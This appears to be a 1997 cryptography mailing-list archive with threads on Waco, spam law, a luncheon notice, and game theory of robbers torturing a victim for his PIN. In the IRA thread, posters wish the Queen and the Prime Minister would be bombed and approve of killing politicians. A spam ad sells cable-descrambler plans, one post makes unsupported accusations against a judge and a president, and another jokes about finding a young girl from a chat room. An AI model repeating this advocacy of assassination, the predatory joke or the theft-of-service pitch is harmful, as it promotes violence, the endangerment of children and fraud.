our so-called Civil War has really soured us on that.

But whether you're looking at the SAS, Marines, BATF, Delta Force,
or FBI Hostage Rescue Team, the mission wasn't something a 
military assault force is right for - that sort of thing is fine for 
rescuing hostages from terrorists, or killing terrorists before
they set off bombs or shoot the neighbors.  But the legal objective
of the police should have been to inform the Davidians that the
police want to search their house, or that they were wanted in court, 
or maybe even to arrest them if there was enough evidence to convince a 
judge to sign an arrest warrant.  What can a military do?  
Shoot the adults for refusing to surrender, while trying not to shoot the 
kids too?  Militias can do things like keep the Davidians from running 
away when the police knock on their door, but there probably wasn't enough 
evidence of a crime to justify an arrest, certainly not of anyone but
Koresh, and if everybody _did_ run away, that would make searching their
house to get evidence of contraband possession easier.

>> The Feds could have done in 1993 what they've done since 
>> (Koresh wasn't the  only one who got burned there) and 
>> LEAVE PEACEFUL PEOPLE ALONE.
>yeah peacefull types whose response to a visit from the police was to
>lie in ambush and shoot at them with automatic weapons.
>So are you suggesting that the police ignore the complaints of illegal
>ownership of firearms and child abuse?

Again, the Davidian's response was stupid, but this wasn't a 
"visit from the police", this was an assault force that shot first
while they were storming the house at dawn.

The local sheriff had visited the house the previous year
to respond to allegations of potential child abuse.
Came up, knocked on the door, they let him in, everybody talked,
he decided there was no evidence of criminal child abuse,
just weird religious and personality-cult.  No problem.
If he'd wanted to do the same again, he could have,
and he could have done something similar for the weapons charge.
If they _had_ checked, they'd have found that one of the
residents was a licensed firearm dealer, and could have checked 
his records, which he's legally required to keep and present.
No need to storm somebody's house just because you're worried that
they might flush a couple of pieces of metal down the toilet
when they see you coming - it's not like it's DOPE or something.

Also, if he'd wanted to arrest Koresh, he could have done it in town,
or when the guy was out jogging, which was daily.

>And in any case the point is that Waco does not absolve McVeigh and
>the militias for the blame for Oaklahoma.

The militias??  Phill, the only militia that McVeigh was part of was
the US Army.  Sure, they're one of the world's leading terrorist 
organizations, and they probably should have noticed that he was a wacko 
and kicked him out, like the Michigan Militia had the sense to do, 
rather than training him to be a gung-ho killer, but sometimes you
don't realize what somebody's like or what Army training will do to them.
And besides, I've had friends who were Army recruiters, and when you've
got a quota to make, you'll take anybody who can write "X" and
knows how to make a fist.

As far as blame for Waco goes, Janet Reno has said it's all hers.
[NOW FOR A FLAME] 
Janet Reno, who started the wave of minority church burnings in the South,
just had the GALL to make a speech talking about all the good things 
she's been doing to stop that sort of thing.  Not about how she's
personally responsible and has been trying to rehabilitate herself,
but about how other people are evil and need to be stopped.
!  Hypocrite.  I don't know if 1-888-ATF-FIRE
is still running, but y'all are free to call up and rat on her.




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From mpd at netcom.com  Fri Jun  6 23:56:29 1997
From: mpd at netcom.com (Mike Duvos)
Date: Sat, 7 Jun 1997 14:56:29 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <199706070650.XAA22108@netcom19.netcom.com>



ichudov at algebra.com (Igor Chudov @ home) writes:

 > Mike Duvos wrote:

 >> An interesting twist on rubber hose decryption in the case
 >> of the murder of Jonathan Levin, son of the top executive of
 >> media giant Time Warner.

 >> Police believe his ATM card was stolen, and he was then
 >> jabbed with a steak knife until he revealed the PIN.

 > This brings up a question. Did these robbers kill him right
 > after they found out the answer, or they first tried to
 > withdraw money to check if his number was right?

 > This brings up a question on the strategy in this game.

 > Suppose I am captured by ruthless robbers. They ask me for a
 > number and torture me. They will torture me as long as
 > necessary until I give out the correct number, and then
 > they kill me.

 > Assuming that I am rational and prefer torture to death, I
 > should not tell them the right number and delay the
 > process, with the hope that possibly the police will come
 > and rescue me.

 > Assuming that robbers are rational and know that I am
 > rational, they certainly should not put me in such
 > position: if they do, they are going to waste a lot of
 > precious time and have no chance of getting the money.

 > So, they should promise me that they would not kill me.

 > But how would I believe them? A rational robber should kill
 > the victim after she gets the money.

 > I am not quite clear if rational people can get something
 > out of torturing other rational people. Maybe, I am
 > confused and wrong somewhere.

 > Maybe, if the robber can convince the victim that she
 > (robber) is irrational and would hold on to her promise not
 > to kill him, she could get the money. But how to do that?

This is a kind of a Prisoner's Dilemma type game-theoretic
problem. Each side desires to maximize their mathematical
expectation, which is the sum of their expected return for each
possible behavior of their opponent times the probability that
behavior will occur.  One may assume that one has an intelligent
opponent who can also analyze the game.

The robbers can either promise to let their victim live after the
PIN has been extracted, or not.  Once torture has produced a PIN,
and it has been tested in the ATM, they can either kill their
victim or not kill him.

The victim can either give the PIN before major damage is done,
or he can hold out until he either dies or rescue arrives.

For the robbers, the money is a small return, and getting charged
with murder should the police arrive right after the victim has
been terminated is a big loss.  Letting the victim live to
identify the robbers is a medium sized loss, but killing the
victim and getting away with it is no loss at all. For the
victim, the loss of some money is a small loss, and the loss of
ones life is a big loss.

Now the only return for the robbers is the money, so anything
that doesn't result in the money is worse than not committing the
crime in the first place.  There is no incentive for the robbers
to say that they will kill you and not do it, so we can assume
the robbers will not lie about this.  A rational victim will
postphone death as long as possible, so it is always in the best
interests of the robbers to say that they will not kill the
victim.

This crime takes a very short amount of time to commit, so rescue
is unlikely.  Torture which results in either the PIN or mortal
injury can be carried out in under a minute.  If the PIN is not
disclosed, death will therefore result.  If the pin is disclosed,
you have a chance of living equal to the chance the robbers will
not kill you.

So the optimum strategy if both players have analyzed the game is
for the robbers to promise not to kill you, the victim to always
immediately give up the PIN, and then for the robbers to either
kill or not kill the victim, based on the relative penalty times
the chance of getting caught for each alternative.

There is nothing the victim can do to improve his chances, except
to hope he lives in a community where the penalty for robbery is
small compared to the penalty for murder, and that a
disproportionate amount of law enforcement resources are devoted
to solving murders, versus solving robberies.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd at netcom.com     $    via Finger.                      $






From ichudov at Algebra.COM  Sat Jun  7 00:14:54 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 7 Jun 1997 15:14:54 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070650.XAA22108@netcom19.netcom.com>
Message-ID: <199706070705.CAA00810@manifold.algebra.com>



Mike,

Thanks for an interesting reply.

What if, for example, the prisoner convinced the robbers that he
was irrational and would swear to God that he would never give up
his PIN. Assume that he made a very credible promise, ie, the victim
is a known nut. Assume also that the victim is also able to convince
the robbers that he would not tell anything to the police.

The robbers would then face a choice: whether to kill the victim
and face murder charges with punishment M and probability Pm, or
not to kill the victim and face charges R (for Robbery) with 
probability Pr. Since the victim is not going to tell anybody,
Pr is zero. So they now choose not to kill the victim.

How can this victim make a credible promise not to tell the
police?

I think that Jim Bell's assassination bot would solve this problem.
The victim would pledge $1,000,000 to the bot, with the instruction
to give it to the robbers if they are ever arrested within the statute
of limitations. After the statute expires, Jim Bell's bot would return 
the money back to the victim.

The AP bot could generally be a great tool for creating various
credible threats.

igor

Mike Duvos wrote:
> 
> 
> ichudov at algebra.com (Igor Chudov @ home) writes:
> 
>  > Mike Duvos wrote:
> 
>  >> An interesting twist on rubber hose decryption in the case
>  >> of the murder of Jonathan Levin, son of the top executive of
>  >> media giant Time Warner.
> 
>  >> Police believe his ATM card was stolen, and he was then
>  >> jabbed with a steak knife until he revealed the PIN.
> 
>  > This brings up a question. Did these robbers kill him right
>  > after they found out the answer, or they first tried to
>  > withdraw money to check if his number was right?
> 
>  > This brings up a question on the strategy in this game.
> 
>  > Suppose I am captured by ruthless robbers. They ask me for a
>  > number and torture me. They will torture me as long as
>  > necessary until I give out the correct number, and then
>  > they kill me.
> 
>  > Assuming that I am rational and prefer torture to death, I
>  > should not tell them the right number and delay the
>  > process, with the hope that possibly the police will come
>  > and rescue me.
> 
>  > Assuming that robbers are rational and know that I am
>  > rational, they certainly should not put me in such
>  > position: if they do, they are going to waste a lot of
>  > precious time and have no chance of getting the money.
> 
>  > So, they should promise me that they would not kill me.
> 
>  > But how would I believe them? A rational robber should kill
>  > the victim after she gets the money.
> 
>  > I am not quite clear if rational people can get something
>  > out of torturing other rational people. Maybe, I am
>  > confused and wrong somewhere.
> 
>  > Maybe, if the robber can convince the victim that she
>  > (robber) is irrational and would hold on to her promise not
>  > to kill him, she could get the money. But how to do that?
> 
> This is a kind of a Prisoner's Dilemma type game-theoretic
> problem. Each side desires to maximize their mathematical
> expectation, which is the sum of their expected return for each
> possible behavior of their opponent times the probability that
> behavior will occur.  One may assume that one has an intelligent
> opponent who can also analyze the game.
> 
> The robbers can either promise to let their victim live after the
> PIN has been extracted, or not.  Once torture has produced a PIN,
> and it has been tested in the ATM, they can either kill their
> victim or not kill him.
> 
> The victim can either give the PIN before major damage is done,
> or he can hold out until he either dies or rescue arrives.
> 
> For the robbers, the money is a small return, and getting charged
> with murder should the police arrive right after the victim has
> been terminated is a big loss.  Letting the victim live to
> identify the robbers is a medium sized loss, but killing the
> victim and getting away with it is no loss at all. For the
> victim, the loss of some money is a small loss, and the loss of
> ones life is a big loss.
> 
> Now the only return for the robbers is the money, so anything
> that doesn't result in the money is worse than not committing the
> crime in the first place.  There is no incentive for the robbers
> to say that they will kill you and not do it, so we can assume
> the robbers will not lie about this.  A rational victim will
> postphone death as long as possible, so it is always in the best
> interests of the robbers to say that they will not kill the
> victim.
> 
> This crime takes a very short amount of time to commit, so rescue
> is unlikely.  Torture which results in either the PIN or mortal
> injury can be carried out in under a minute.  If the PIN is not
> disclosed, death will therefore result.  If the pin is disclosed,
> you have a chance of living equal to the chance the robbers will
> not kill you.
> 
> So the optimum strategy if both players have analyzed the game is
> for the robbers to promise not to kill you, the victim to always
> immediately give up the PIN, and then for the robbers to either
> kill or not kill the victim, based on the relative penalty times
> the chance of getting caught for each alternative.
> 
> There is nothing the victim can do to improve his chances, except
> to hope he lives in a community where the penalty for robbery is
> small compared to the penalty for murder, and that a
> disproportionate amount of law enforcement resources are devoted
> to solving murders, versus solving robberies.
> 
> --
>      Mike Duvos         $    PGP 2.6 Public Key available     $
>      mpd at netcom.com     $    via Finger.                      $
> 



	- Igor.






From rah at shipwright.com  Sat Jun  7 06:01:15 1997
From: rah at shipwright.com (Robert Hettinga)
Date: Sat, 7 Jun 1997 21:01:15 +0800
Subject: DCSB: IETF-TLS, Exporting Financial Cryptography, and theProspects for SET
Message-ID: 



-----BEGIN PGP SIGNED MESSAGE-----



                The Digital Commerce Society of Boston

                              Presents

                             Win Treese
                          Open Market, Inc.

      "Security Standards, Policy, and Projects: A Personal View"



                        Tuesday, July 1, 1997
                              12 - 2 PM
                  The Downtown Harvard Club of Boston
                    One Federal Street, Boston, MA
                   Price, Including Luncheon: $30.00


In this talk, Win will discuss three areas of recent work related
to security:

1. History, status, and future of the Transport Layer Security
    Working Group of the IETF. This working group has been
    moving SSL into an Internet Standard.
2. Experiences with gaining approval for exporting Internet
    commerce products with strong cryptography.
3. History, status, and future of the Secure Electronic Transactions
    protocol, from the point of view of a developer of Internet
    commerce products.

Win Treese is Director of Security at Open Market, which provides products
and services for Internet commerce. He has been with the company since it
began operation in 1994, working primarily on the security and payment
architecture across its product line. He also chairs the Transport Layer
Security Working Group of of the IETF. Prior to joining Open Market, he was
with the Cambridge Research Lab of Digital Equipment Corporation. He also
served as Chief Systems Engineer at MIT's Project Athena.


This meeting of the Digital Commerce Society of Boston will be held on
Tuesday, July 1, 1997, from 12pm - 2pm at the Downtown Branch of the
Harvard Club of Boston, on One Federal Street. The price for lunch is
$30.00. This price includes lunch, room rental, various A/V hardware, and
the speaker's lunch. ;-).  The Harvard Club *does* have dress code: jackets
and ties for men (and no sneakers or jeans), and "appropriate business
attire" (whatever that means), for women.  Fair warning: since we purchase
these luncheons in advance, we will be unable to refund the price of your
lunch if the Club finds you in violation of the dress code.

We will attempt to record this meeting and put it on the web in RealAudio
format at some future date

We need to receive a company check, or money order, (or, if we *really*
know you, a personal check) payable to "The Harvard Club of Boston", by
Saturday, June 28, or you won't be on the list for lunch.  Checks
payable to anyone else but The Harvard Club of Boston will have to be
sent back.

Checks should be sent to Robert Hettinga, 44 Farquhar Street, Boston,
Massachusetts, 02131. Again, they *must* be made payable to "The Harvard
Club of Boston", in the amount of $30.00.

If anyone has questions, or has a problem with these arrangements (We've
had to work with glacial A/P departments more than once, for instance),
please let us know via e-mail, and we'll see if we can work something
out.

Upcoming speakers for DCSB are:

August    Duncan Frissell      MarketEarth
September Christof Paar        Elliptic Curve Cryptography
October   Peter Cassidy        Military Fiat and Digital Commerce
November  Carl Ellison         Identity and Certification for Electronic
                                Commerce

We are actively searching for future speakers.  If you are in Boston on
the first Tuesday of the month, and you would like to make a
presentation to the Society, please send e-mail to the DCSB Program
Commmittee, care of Robert Hettinga,  .

For more information about the Digital Commerce Society of Boston, send
"info dcsb" in the body of a message to  .
If you want to subscribe to the DCSB e-mail list, send "subscribe dcsb" in
the body of a message to  .

We look forward to seeing you there!

Cheers,
Robert Hettinga
Moderator,
The Digital Commerce Society of Boston

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQEVAwUBM5lTPcUCGwxmWcHhAQHZ6wgAoK0oExZ15s+OA4k81Z8ibUsICWQq40Lp
r+K52kvV0gALw92eIg8D1QjWXGlUnO6QcSLJhn4GcFzRDJSJ4qDZpQCN/U0Kwvom
vdhGb9f3YtJ3FqR9AjTq6HwEBuAQzdSmHW6FrgoI+cCNrGH7c55EPYPLae02d1Aq
NMthOBv/BsR7EcGjajnHPiTuW2BJcoMxnSuYmuvDx1XWZfYztmI00yLRd2cV/a0F
hNM3HFwDGNzKGKpe05lW453BP13kXduT3VBtituUr6LSji6X2GTGR3zRVE8c43v4
fhYLFYqP0NiK2iRpcw4Mm7PkysCSKlHG+9JAAIFZc6LbkU5BHbbHPQ==
=UU4C
-----END PGP SIGNATURE-----

-----------------
Robert Hettinga (rah at shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/







From dlv at bwalk.dm.com  Sat Jun  7 06:39:58 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 21:39:58 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706070424.XAA27671@manifold.algebra.com>
Message-ID: <0kFX8D4w165w@bwalk.dm.com>



ichudov at algebra.com (Igor Chudov @ home) writes:

> Dr.Dimitri Vulis KOTM wrote:
> > Declan McCullagh  writes:
> >
> > > -Declan
> > >
> > > (Who thinks that no consensual speech should be banned by the government.
> >
> > If you set up your mailbox to accept e-mail promiscuously from anyone,
> > then anything sent to it is "consentual".
> >
> > > I can, however, see a common law argument for spam as trespass after
> > > repeated cease-and-desist notes are sent.)
> >
> > The onus is on the recipient to filter out what they don't want (or to
> > "filter in" only what they want, which is how I think we'll end up). Such
> > filtering takes less time+effort than "repeated cease-and-desist notes".
>
> Is there any justification for a law that would require senders to make
> filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.

And if the recipient gets UCE without such tags, he can sue, right?

As it is, there are a few dozen mentally disturbed folks who bombard
postmasters everywhere with false reports of "spamming" and "warez".

Now they'll complain about UCE without tags (w/o basis in reality)
and threaten to sue.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dshipman at ewol.com  Sat Jun  7 07:13:35 1997
From: dshipman at ewol.com (Dave Shipman)
Date: Sat, 7 Jun 1997 22:13:35 +0800
Subject: Steak Knife Decryption
Message-ID: <19970607140545968.AAA302@xxx>



At 12:44 AM 6/7/97 -0500, you wrote:

>
>Maybe, if the robber can convince the victim that she (robber) is
>irrational and would hold on to her promise not to kill him, she could
>get the money. But how to do that?
>
>	- Igor.
>
>
Maybe she (robber) could turn turn him (robbee) loose for fifteen minutes,
to show good intentions?

--------------------------------------------
DLS






From nexus at eskimo.com  Sat Jun  7 07:30:13 1997
From: nexus at eskimo.com (Brian Lane)
Date: Sat, 7 Jun 1997 22:30:13 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: <33996cfa.26096067@mail.eskimo.com>



On Sat, 7 Jun 1997 00:44:15 -0500 (CDT), you wrote:

>Mike Duvos wrote:
>> 
>> 
>> An interesting twist on rubber hose decryption in the case of the
>> murder of Jonathan Levin, son of the top executive of media
>> giant Time Warner.
>> 
>> Police believe his ATM card was stolen, and he was then jabbed
>> with a steak knife until he revealed the PIN.
>
>This brings up a question. Did these robbers kill him right after
>they found out the answer, or they first tried to withdraw money
>to check if his number was right?

  Yes, this is apparently how it happened. The robber tortured him for
the PIN, used the card to get $800 from a machine and then returned to
stab and shoot him. Apparently the murderer is one of his students (he
was a teacher in NY I believe). This happened after Levin asked the
class to write their biographies and revealed who his father was.

>
>This brings up a question on the strategy in this game.

  I don't think there is any strategy in being robbed, only survuval.
Levin commited a grave mistake. Revealing his background to his class
was a very stupid move.

  Brian

----------------------------------------------------------------------------------
Brian C. Lane             http://www.eskimo.com/~nexus                      KC7TYU
------------------  96B9 C123 5C90 BECC  6A1F 7DC6 4F2B A26E  --------------------






From paul at fatmans.demon.co.uk  Sat Jun  7 07:37:03 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 7 Jun 1997 22:37:03 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 




> > Tims post made a good point, people soon forget the causes of conflict
> > and only see the effects, today, hardly anyone in the UK sees the IRA as
> > an organisation devoted to liberating NI, merely a bunch of thugs. Of
> 
> Of course they forget the nearly thousand years of English thuggery
> in Ireland...

Indeed, the English in Ireland were, and are, immesurably worse than the 
IRA in terms of the scale of their crimes.

> > course they have brought this on themselves by indiscriminately blowing
> > things up. Talking of which the Queen is visiting Hastings (a town about
> > 5 miles from me) today, I hope the IRA blow her up...
> 
> That would be just lovely!
> 
> I'm sorry the IRS missed a chance to blow up the Blair motherfucker
> during his recent $400 dinner.

Indeed, during the Blair<->Clinton meeting/cocksucking session might  
have been a good time to drop a bomb on Downing St.

> Please send donations to Sinn Fein every time you see Hallam Baker post.

Of course.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Sat Jun  7 07:56:58 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 7 Jun 1997 22:56:58 +0800
Subject: [CONTROVERSIAL]: A Defense of Terrorism
In-Reply-To: 
Message-ID: 





> How many Irish nationalists do you know? The ones I know consider the
> IRA to be a bunch of thugs. Their attitude towards sympathizers in the
> US is similar to the attitude most Israelis have towards the kind of
> American wackos who killed Rabin. That's probably too nuanced for you,
> so to simplify: 

Thanks, I`ll simplify all my answers into words of 2 syllables or less 
for you in future.

> I think they're a bunch of thugs. They're just as
> thuggish towards "their own" as they are towards the Loyalists. Express
> a moderate or humanistic point of view in certain NI neighborhoods and
> the IRA thugs will make sure you're censored for good.

My point exactly, the IRA are criminal scum, as I have said. Of course 
they serve a purpose, but that really isn`t the point.

> AS Bill Frantz
> pithed a few weeks ago: the problem is not anarchy -- the problem is
> too many competing governments in one place. Thuggery isn't the answer
> to historical thuggery.

Thuggery in this vein is certainly not appropriate. I would have no 
problem whatsoever with the IRA if they concentrated entirely on killing 
poloticians, recall that not so many years ago they were less inclined to 
killing civilians (around the Brighton bomb and Airey Neave incident time).
Of course, the IRA have always been censorous thugs, they just happen to 
have taken also to killing innocent people in highly populated areas as well.
IMO, the IRA are terrorists, *not* freedom fighters. 

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From dlv at bwalk.dm.com  Sat Jun  7 08:13:27 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 23:13:27 +0800
Subject: Steak Knife Decryption
In-Reply-To: <33996cfa.26096067@mail.eskimo.com>
Message-ID: 



nexus at eskimo.com (Brian Lane) writes:

> On Sat, 7 Jun 1997 00:44:15 -0500 (CDT), you wrote:
>
> >Mike Duvos wrote:
> >>
> >>
> >> An interesting twist on rubber hose decryption in the case of the
> >> murder of Jonathan Levin, son of the top executive of media
> >> giant Time Warner.
> >>
> >> Police believe his ATM card was stolen, and he was then jabbed
> >> with a steak knife until he revealed the PIN.
> >
> >This brings up a question. Did these robbers kill him right after
> >they found out the answer, or they first tried to withdraw money
> >to check if his number was right?
>
>   Yes, this is apparently how it happened. The robber tortured him for
> the PIN, used the card to get $800 from a machine and then returned to
> stab and shoot him. Apparently the murderer is one of his students (he
> was a teacher in NY I believe). This happened after Levin asked the
> class to write their biographies and revealed who his father was.

Off-topic rant follows:

Levin Sr is a petty asshole. I used to work for a guy who used to be
the president of Time Warner before. One of his retirement perks was
a WATS line. When what's-his-name suddenly died and Levin assumed
office was to turn off that WATS line.  This tells me something.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From dlv at bwalk.dm.com  Sat Jun  7 08:15:39 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 7 Jun 1997 23:15:39 +0800
Subject: Steak Knife Decryption
In-Reply-To: <33996cfa.26096067@mail.eskimo.com>
Message-ID: 



nexus at eskimo.com (Brian Lane) writes:
> >This brings up a question on the strategy in this game.
>
>   I don't think there is any strategy in being robbed, only survuval.
> Levin commited a grave mistake. Revealing his background to his class
> was a very stupid move.

Becoming a high school teacher in NYC was a stupid move.  Someone I know
went to teach; 2 weeks into the semester one of his students punched him
in the nose causing extensive damage. This stopped making news long ago.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From 63716769 at online-now.de  Sat Jun  7 23:23:01 1997
From: 63716769 at online-now.de (63716769 at online-now.de)
Date: Sat, 7 Jun 1997 23:23:01 -0700 (PDT)
Subject: CABLE DESCRAMBLER...Build Cheap & Easy!
Message-ID: <1JYFD552@ili33nks.net>


CABLE DESCRAMBLER   -Build with 7 Radio Shack parts costing $13.00

-----------View all PREMIUM and PAY- PER VIEW channels.--------------

Our Cable Descrambler package is an information kit containing easy to
follow, step-by-step instructions on how to build a cable descrambler
from a few inexpensive parts available at Radio Shack or your local
electronics store.

Your descrambler will allow you to view ALL the Premium  and 
Pay-Per-View channels as long as you subscribe to BASIC cable service.

The assembly is very simple and does not require any kind of 
electronic training or experience.  Just follow the clear 
instructions and simple diagram and you will be enjoying your extra
channels in less than an hour.

IT'S THAT EASY!

Don't wait.  Order now and you too can begin enjoying all that cable
television has to offer.

So save yourself some money! ....Order your cable descrambler package
today for a one time fee of only $13.95

We will send your package right away... And as always, our plans are
backed by a full MONEY-BACK-GUARANTEE.
************************************************************

ORDER FORM: #h1
(circle one)

Money Order   Check   Credit Card (Circle One: VISA, M/C, Discover) 

Credit card # ________________________________________

Expiration Date____________________

Signature_________________________________________

Guaranteed Fee $13.95.  I need you to RUSH processing. Please add
$5.00:      Total  $_______

TO EXPEDITE PROCESSING: Fill out all information, print, and
FAX TO (619) 683-9130  (If paying by credit card)


If paying by cash, check, or money order....
Please make payable to:  C.B. SYSTEMS....
Fill out the following information;

& MAIL TO:

C.B. SYSTEMS
6161 EL CAJON BLVD #B-427
SAN DIEGO, CA 92115

Name_____________________________

Address___________________ City ___________ State _____Zip __________

Phone #(___)____  -________   *Email_________________________________

*Please leave e-mail address if you would like to recieve this package via e-mail.

************************************************************
Once you have received this message you are automatically removed from 
our mailing list.  We are sorry if this message was unwanted....Sincerely.





From ravage at einstein.ssz.com  Sat Jun  7 08:36:38 1997
From: ravage at einstein.ssz.com (Jim Choate)
Date: Sat, 7 Jun 1997 23:36:38 +0800
Subject: Intermittent SSZ downtime
Message-ID: <199706071502.KAA11500@einstein.ssz.com>



Hi,

SSZ is going to be offline at least twice over the next 36 hours or so. It
should be down on longer than a couple of hours for some hardware upgrades
in preperation for a full software upgrade. There are two additional outages
planned next weekend.

Please plan accordingly, we apologize for any inconvenience.

   _______________________________________________________________________
  |                                                                       |
  |            Speak the truth, but leave immediately after.              |
  |                                                                       |
  |                                     Slovenian Proverb                 |
  |                                                                       |
  |     Jim Choate                                 ravage at ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|






From lucifer at dhp.com  Sat Jun  7 10:05:56 1997
From: lucifer at dhp.com (lucifer Anonymous Remailer)
Date: Sun, 8 Jun 1997 01:05:56 +0800
Subject: Is Bill Clinton Obstructing Justice???
Message-ID: <199706071654.MAA27424@dhp.com>




Is Bill Clinton Obstructing Justice in
              the Case of
            Charles Hayes?

          by J. Orlin Grabbe

1.   Did  President Bill  Clinton  meet
with  Kentucky District Judge  Jennifer
B.  Coffman at the Watergate  Hotel  on
May  21,  1997?   Has Coffman  suddenly
become    an   important   Presidential
advisor?  Was the meeting just  another
t�te-�-t�te similar to the one  Clinton
had  with Paula Jones?  Is Bill Clinton
obstructing justice?

2.   Is  Judge Coffman in the  meantime
sitting on, and attempting to ignore, a
slew  of  motions from Hayes'  attorney
Marvin   Miller?   Is   Judge   Coffman
herself guilty of judicial misconduct?

3.   Why  did  Assistant U.S.  Attorney
Patrick   Malloy  recently   asked   to
withdraw  from the Chuck  Hayes'  case?
Why  did Judge Coffman refuse to  allow
him to withdraw?

4.   Where has the alleged hit man  Don
Yarbrough  disappeared  to?   Does  his
disappearance have anything to do  with
falsified information given to the FBI?
Did  the  FBI previously say  they  had
verified this information?

5.   What  perjury  charges  have  been
filed   against   FBI   agent   Stephen
Brannan?

6.   What  perjury  charges  have  been
filed  against FBI agent David  Keller?
Was or was not David Keller transferred
to the Atlanta office of the FBI?

7.   Has  Lawrence Myers been impeached
as  a  witness because he was diagnosed
as having multiple personalities by the
U.S. Army?

8.   Are  there any remaining witnesses
against Charles Hayes?

9.   What  is the relationship  between
Judge   Jennifer  Coffman  and  Wendell
Ford?

10.    Was   Jennifer   Coffman   under
investigation       for       financial
improprieties  at  the  time  she   was
appointed judge?
















From tcmay at got.net  Sat Jun  7 10:08:05 1997
From: tcmay at got.net (Tim May)
Date: Sun, 8 Jun 1997 01:08:05 +0800
Subject: Steak Knife Decryption
In-Reply-To: <199706070544.AAA00172@manifold.algebra.com>
Message-ID: 



At 7:22 AM -0700 6/7/97, Brian Lane wrote:

>  Yes, this is apparently how it happened. The robber tortured him for
>the PIN, used the card to get $800 from a machine and then returned to
>stab and shoot him. Apparently the murderer is one of his students (he
>was a teacher in NY I believe). This happened after Levin asked the
>class to write their biographies and revealed who his father was.

A good thing anonymity and pseudonymity are under attack!

Soon we'll be able to have true "stalker's pages," with links to home
addresss and zipcode data bases.

(And when I find some young nymphette in one of the chat groups, I'll be
able to click on her name and call up all the relevant information to allow
me to go visit her! We'll have a grand time...or at least I will.)


--Jack D. Ripper








From declan at pathfinder.com  Sat Jun  7 10:52:20 1997
From: declan at pathfinder.com (Declan McCullagh)
Date: Sun, 8 Jun 1997 01:52:20 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: <199706070424.XAA27671@manifold.algebra.com>
Message-ID: 



Such a law would be unconstitutional, I believe, and unjust. It's
compelled speech: the government forcing you to say something.
Depending on how it's worded, it could also impact core political
speech, something the courts generally don't like.

-Declan


On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> 
> Is there any justification for a law that would require senders to make
> filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.
> 
> 	- Igor.
> 
> 






From ichudov at Algebra.COM  Sat Jun  7 11:10:20 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sun, 8 Jun 1997 02:10:20 +0800
Subject: Responses to "Spam costs and questions" (long)
In-Reply-To: 
Message-ID: <199706071754.MAA01524@manifold.algebra.com>



Declan McCullagh wrote:
> 
> 
> Such a law would be unconstitutional, I believe, and unjust. It's
> compelled speech: the government forcing you to say something.
> Depending on how it's worded, it could also impact core political
> speech, something the courts generally don't like.
> 

Declan,

There is a lot of commercial compelled speech. For example,
mutual funds must say that past performance is not a guarantee
of future results.

Do you find this kind of compelled speech unconstitutional?

igor

> 
> 
> On Fri, 6 Jun 1997, Igor Chudov @ home wrote:
> > 
> > Is there any justification for a law that would require senders to make
> > filtering easier, e.g., by attaching a [COMMERCIAL] tag to all UCEs.
> > 
> > 	- Igor.
> > 
> > 
> 



	- Igor.






From dlv at bwalk.dm.com  Sat Jun  7 12:12:38 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sun, 8 Jun 1997 03:12:38 +0800
Subject: Steak Knife Decryption
In-Reply-To: 
Message-ID: 



Tim May  writes:
>
> Soon we'll be able to have true "stalker's pages," with links to home
> addresss and zipcode data bases.
>
> (And when I find some young nymphette in one of the chat groups, I'll be
> able to click on her name and call up all the relevant information to allow
> me to go visit her! We'll have a grand time...or at least I will.)

An employee of "firefly.net" (a very invasive marketing organization that
specializes in compiling huge databases of personal information about
Internet users) recently got upset at me and posted various personal
information about me to Usenet in an effort to harrass me.

---

Dr.Dimitri Vulis KOTM
